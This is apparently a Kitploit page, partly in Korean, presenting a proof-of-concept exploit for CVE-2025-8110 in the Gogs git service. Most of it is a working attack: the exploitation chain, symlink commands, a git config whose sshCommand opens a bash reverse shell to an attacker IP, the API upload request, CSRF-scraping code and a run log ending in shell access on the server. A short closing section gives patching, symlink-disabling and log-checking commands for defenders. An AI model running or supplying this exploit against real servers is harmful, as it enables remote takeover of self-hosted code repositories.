CVE-2025-8110 — CVE-2025-8110에 대한 PoC 익스플로잇 | Kitploit

CVE-2025-8110 — CVE-2025-8110에 대한 PoC 익스플로잇 | Kitploit

옵션	설명	필수
`-u, --url`	Gogs 기본 URL (예: https://gogs.example.com)	예
`-lh, --host`	리버스 셸을 위한 공격자 IP 주소	예
`-lp, --port`	리버스 셸을 위한 공격자 포트	예
`-U, --username`	Gogs 사용자 이름	예
`-P, --password`	Gogs 비밀번호	예
`-x, --proxy`	프록시 활성화 (localhost:8080)	아니오
`-v, --verbose`	상세 출력 활성화	아니오

┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

심볼릭 링크 생성

ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master

악성 설정

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'

API 익스플로잇

PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
  "message": "Exploit CVE-2025-8110",
  "content": "base64_encoded_config"
}

def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Gogs 업데이트

# Backup existing installation
cp -r /home/gogs/gogs /home/gogs/gogs.backup

# Download and install latest version
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web

심볼릭 링크 지원 비활성화

# In custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true

입력 검증 구현
- 처리 전 파일 경로 정리
- 심볼릭 링크 이동 방지
- 파일 유형 및 내용 검증

# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l

# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Monitor for outbound connections
ss -tunp | grep gogs

{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}